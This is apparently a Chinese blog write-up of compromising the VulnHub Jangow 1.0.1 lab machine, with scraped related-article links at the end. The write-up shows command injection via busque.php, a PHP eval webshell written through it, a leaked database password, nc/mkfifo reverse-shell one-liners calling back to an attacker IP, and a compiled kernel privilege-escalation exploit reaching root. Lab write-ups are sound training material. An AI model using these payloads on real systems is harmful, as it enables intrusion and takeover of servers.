VulnHub1:Jangow: 1.0.1靶机入侵

  • 信息搜集:
    • 扫描端口
    • 发现命令执行漏洞
    • uname
  • 一句话木马
  • 上蚁剑
  • 提权
    • 方法1
  • 方法2

VulnHub1:Jangow: 1.0.1靶机入侵)

信息搜集:

扫描端口

sudo nmap -v -sn 172.16.12.0/24 # 先发现 IP
sudo nmap -sC -sV 10.76.69.202 # -oA Jangow01

有 21 端口开着 ftp,尝试匿名登录失败

发现命令执行漏洞

http://10.76.69.202/site/busque.php?buscar=cat%20/etc/passwd

vscode 正则转换为 回车符

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
Bug-Reporting
System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd
Time
Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd
Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd
Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd
Bus
Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
jangow01:x:1000:1000:desafio02,,,:/home/jangow01:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:111:118:ftp
daemon,,,:/srv/ftp:/bin/false
mysql:x:112:119:MySQL
Server,,,:/nonexistent:/bin/false
jangow01:x:1000:1000:desafio02,,,:/home/jangow01:/bin/bash

有个 /home/jangow01 用户
里面有个 user.txt 文件
内容

d41d8cd98f00b204e9800998ecf8427e

uname

Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

上kali, 扫描网站目录

gobuster dir -u http://192.168.7.226/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip

结果

└─$ gobuster dir -u http://10.76.69.202/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.76.69.202/site/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt,zip
[+] Timeout:                 10s
===============================================================
2022/06/10 06:28:17 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php        (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd.zip        (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htaccess.zip        (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 318] [--> http://10.76.69.202/site/assets/]
Progress: 11700 / 81880 (14.29%)                                             Progress: 14044 / 81880 (17.15%)                                             Progress: 16524 / 81880 (20.18%)                                             Progress: 18840 / 81880 (23.01%)                                             Progress: 21360 / 81880 (26.09%)                                             /css                  (Status: 301) [Size: 315] [--> http://10.76.69.202/site/css/]
Progress: 23656 / 81880 (28.89%)                                             Progress: 26116 / 81880 (31.90%)                                             Progress: 28396 / 81880 (34.68%)                                             Progress: 30804 / 81880 (37.62%)                                             Progress: 32640 / 81880 (39.86%)                                             Progress: 34756 / 81880 (42.45%)                                             /js                   (Status: 301) [Size: 314] [--> http://10.76.69.202/site/js/]
/wordpress            (Status: 301) [Size: 321] [--> http://10.76.69.202/site/wordpress/]===============================================================
2022/06/10 06:28:35 Finished
===============================================================

http://10.76.69.202/site/wordpress/

一句话木马

[](http://10.76.69.81/site/busque.php?buscar=echo '<?php eval(@$_POST[‘a’]); ’ > 2.php)

问题:

一句话木马, 以前写的是

1.php一句话
2.
<?php eval($_POST['a']);?>
<?php system($_REQUEST['a']);?>绕php检测:php3 php7 PhP

但这样保存后访问 http://10.76.69.81/site/2.php 后报异常:

文件内容没有问题 后期已验证

有效的木马是

<?php eval($_POST['a']);

不清楚为什么,有没有大神告诉我?

上蚁剑

文件 wordpress/config.php

内容

<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>

uname -a

Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

根据信息提权, 先拿到系统版本

方法1: 从uname 4.4.0-31-generic linux 版本中判断
防范2: lsb_release -a

No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:    16.04
Codename:    xenial

提权

获取对应系统的提权工具

方法1

  1. 从 Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 上搜索 16.04

方法2

登录kali

执行命令 searchsploit ubuntu 4.4.0-31

└─$ searchsploit ubuntu 4.4.0-31                                                                                                         130 ⨯
------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                                         | linux/dos/43234.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation  | windows_x86-64/local/47170.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                       | linux/local/44298.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)        | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation ( | linux/local/47169.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation                       | linux/local/41760.txt
------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

找到 Local Privilege Escalation 本地提权工具,下载

└─$ searchsploit -p 45010.c                                                                                                              130 ⨯Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege EscalationURL: https://www.exploit-db.com/exploits/45010Path: /usr/share/exploitdb/exploits/linux/local/45010.c
File Type: C source, ASCII text

文件保存在 /usr/share/exploitdb/exploits/linux/local/45010.c

  1. 尝试操作提权

下载文件名 45010.c

蚁剑文件编辑,再执行gcc编译:

gcc tq.c -o tq
chmod +x tq
./tq

执行提权,在蚁剑中看到没有反应 echo $? 反馈执行成功。

  1. 反向 shell 验证

蚁剑文件编辑反弹shell

  • 方式1
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.12.1 443 >/tmp/f');?>
  • 方式2 避免使用 cat

<?php system('rm /tmp/f;mkfifo /tmp/f;bash -i 2>&1 < /tmp/f | nc 172.16.12.1 443 > /tmp/f');?>

保存为 f.php

本地监听 ncat -lvvp 443 或 kali nc -lvvp 443

访问网页

在本地能看到反弹的shell

[~]$ /usr/local/bin/ncat -lvvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 172.16.12.142.
Ncat: Connection from 172.16.12.142:39812.
/bin/sh: 0: can't access tty; job control turned off

切换完整的交互式bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

再执行 ./tq

www-data@jangow01:/var/www/html/site$ ./tq
./tq
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003585b700
[*] Leaking sock struct from ffff880037bf6f00
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003d8d6b40
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff88003d8d6b40
[*] credentials patched, launching shell...
## whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#

完成提权。root 目录下 proof.txt 文件即为靶心文件

# cat proof.txt
cat proof.txt@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&@  @@@@@@@@@@@@@@@&#   #@@@@@@@@&(.    /&@@@@@@@@@@@  @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@&   .&@@@@@@  @@@@@@@&  @@@@@@&@@@@@&%######%&@*   ./@@*   &@@@  @@@@@* (@@@@@@@@@#/.               .*@.  .#&.   &@@@&&@  @@@, /@@@@@@@@#,                       .@.  ,&,   @@&&@  @&  @@@@@@@@#.         @@@,@@@/           %.  #,   %@&@@@#  @@@@@@@@/         .@@@@@@@@@@            *  .,    @@@@&  @@@@@@@@*          @@@@@@@@@@@             ,        @@&  .@@@@@@@(      @@@@@@@@@@@@@@@@@@@@@        *.       &@@@/  *@@@@@@@/           @@@@@@@@@@@#                      @@@@   .@@@@@@@/          @@@@@@@@@@@@@              @#      @@@@    @@@@@@@@.          @@@@@@@@@@@              @@(      @@@&   .@@@@@@@@.         , @@@@@@@ *            .@@@*(    .@@@    ,@@@@@@@@,   @@@@@@@@@&*%@@@@@@@@@,    @@@@@(%&*   &@@@&     @@@@@@@@@@@@@@@@@         (@@@@@@@@@@@@@@%@@/   &@@ @&     ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%*   &@@  @@.     .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*    &@&@  @@@&       ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/     &@@&&@  @@@@@@.        *%@@@@@@@@@@@@@@@@@@@@&#/.      &@@@@&&@  @@@@@@@@&               JANGOW               &@@@@  &&&&&&&&&@@@&     @@(&@ @. %.@ @@%@     &@@@&&&&&&&@@@@&%       &/    (&&@@@&&&(((((((((((((((((((((((((((((da39a3ee5e6b4b0d3255bfef95601890afd80709

完成撒花!

VulnHub1:Jangow: 1.0.1靶机入侵相关推荐

  1. Vulnhub——JANGOW: 1.0.1

    靶机下载地址:Vulnhub--JANGOW: 1.0.1 靶机安装好以后界面如下图: 这个靶机比较的人性化,不用我们去扫了,直接Nmap nmap -A -p- -T4 -Pn 10.36.101. ...

  2. VulnHub靶机-Jangow: 1.0.1

    NO.1 VulnHub靶机-Jangow: 1.0.1 迟到的文章,就当库存发出来吧~ by AnQtroops 2022.9.10 0x00 靶机信息 1.下载地址:https://www.vul ...

  3. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  4. relativity (v1.0.1)靶机

    relativity (v1.0.1)靶机 arp-scan -l 扫描靶机IP地址 nmap -sV -Pn -A x.x.x.242 nmap 查看开放的端口 访问80端口 dirb 进行扫描,无 ...

  5. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  6. 渗透测试实战3——bulldog2靶机入侵

    一.实验环境 Kali攻击机:192.168.247.149 bulldog 2靶机:192.168.247.150.(192.168.247.151) 开始之前,需先登录bulldog2.账号:di ...

  7. VulnHub_HarryPotter:Aragog (1.0.2)靶机

    文章目录 靶机介绍 渗透过程 获取ip 端口扫描 信息收集 漏洞扫描及利用获取shell 提权 靶机介绍 下载地址:https://www.vulnhub.com/entry/harrypotter- ...

  8. 【HACKER KID: 1.0.1靶机】

    信息搜集 开启靶机. 使用nmap扫描,发现存活靶机,192.168.85.145,靶机开放端口为53,80,9999. 进一步搜集下对应段开启的服务. 发现,9999端口开启的是tornado服务. ...

  9. Moonraker:1靶机入侵

    0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: htt ...

最新文章

  1. Content-Type: application/vnd.ms-excel
  2. 《天气一点通》隐私策略
  3. Hadoop核心架构HDFS+MapReduce+Hbase+Hive内部机理详解
  4. 不是linux内核的国产系统,国产操作系统都是山寨Windows的?为何用Linux内核?
  5. C语言abc输出最小值改错题,C语言程序设计
  6. 【manacher】双倍回文(金牌导航 manacher-2/luogu 4287)
  7. 【BZOJ】【2730】【HNOI2012】矿场搭建
  8. vc与三菱PLC编程口通信C语言源代码,三菱PLC通讯与编程实例!
  9. Unity3D标准资源包下载与使用
  10. ROS里程计的学习(odometry) (一)
  11. [HTML/CSS]Flex布局中space-evenly的兼容性
  12. 问题:MongoDB C# driver异常:Truncation resulted in data loss
  13. 如何预防钓鱼邮件?S/MIME邮件证书来支招
  14. 动手学习深度学习-跟李沐学AI-自学笔记(1)
  15. 不愧是阿里P8!后端程序员必备的Linux基础知识+常见命令
  16. 更改cadence617 schematic和visualizationAnalysis界面背景颜色
  17. 基于SPI协议的Flash驱动控制-扇区擦除
  18. 百度排名与谷歌排名规则
  19. 二进制拆弹实验详解linux,拆解二进制炸弹
  20. 强化学习 | 策略梯度 | Natural PG | TRPO | PPO

热门文章

  1. 朋友圈可以修改可见范围了
  2. 魔方还原神器,有了它,没有还原不了的魔方(15)
  3. 2023全新纯净版本知识付费微信小程序源码_附搭建教程_亲测可用
  4. 收藏不迷路 —— Flutter 转场动效大合集
  5. 电脑win10系统如何开定位服务器,Win10系统定位功能如何打开 Win10系统定位打开方法...
  6. 两个正数相乘或相加,为什么结果是负数。/Java基本数据类型介绍
  7. R-squared居然是负数
  8. Ubuntu卸载firefox浏览器安装google浏览器
  9. 什么是 ASP.NET?
  10. speedoffice(Word)怎么修改纸张方向